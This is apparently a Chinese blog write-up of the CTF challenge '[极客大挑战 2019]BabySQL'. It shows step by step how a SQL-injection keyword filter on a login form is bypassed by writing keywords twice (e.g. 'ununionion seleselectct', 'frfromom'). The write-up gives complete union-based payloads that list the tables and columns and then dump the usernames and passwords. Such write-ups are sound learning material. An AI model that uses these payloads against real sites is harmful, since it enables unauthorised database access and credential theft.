[极客大挑战 2019]BabySQL
打开页面是一个登录界面,直接用admin’ or 1#
试试深浅
回显为:
这里我们分析一下这个报错,near后跟的单引号中的内容为1#' and password='a'
,那么说明sql语句就是从这里开始语法不正确的,模拟一下正常的sql应该是select * from table where username = 'admin' or 1# password='a''
,这样应该是不会报错的,猜测可能是or
关键词被过滤了,后面在使用admin' order by 2#
这个payload时,报错为right syntax to use near 'der 2#' and password='a'' at line 1
更可以验证这一点。
这里我们可以替换or,尝试一下(可以大小写替换,||符号替换,双写替换),这里符号和双写都可以作用,这里先用双写替换绕过,admin' oorr 1#
,登录成功
接下来使用union注入手段走流程。先用order by查看列数,admin' oorrder by 2#
这里可以判断order肯定是过了,但是仍然报错,可能是by被过滤了,继续双写,admin' oorrder bbyy 2#
,可以登录。最后尝试,得到回显列数为3
admin' union select 1,2,3#
找回显列数
可以猜测,select被过滤了,admin' union seleselectct 1,2,3#
union也被过滤了,继续双写,admin' ununionion seleselectct 1,2,3#
,这里要把登录名改了,不然会回显正确登录的信息,改为a' ununionion seleselectct 1,2,3#
输入payload:a' ununionion seleselectct 1,database(),group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()#
,出现报错
发现where
没了,.table
之后报错,猜测那之前也有被过滤的关键词,猜测为from,两个都双写,
a' ununionion seleselectct 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
得到数据库为geek,其下的表有b4bsql,geekuser
继续查看列名先看b4bsql
,payload为:
a' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#
a' ununionion seleselectct 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql#
得到flag
本文作者: 一只本本,文章链接: https://www.cnblogs.com/abenben/p/18559372
欢迎志同道合的朋友一起学习,进步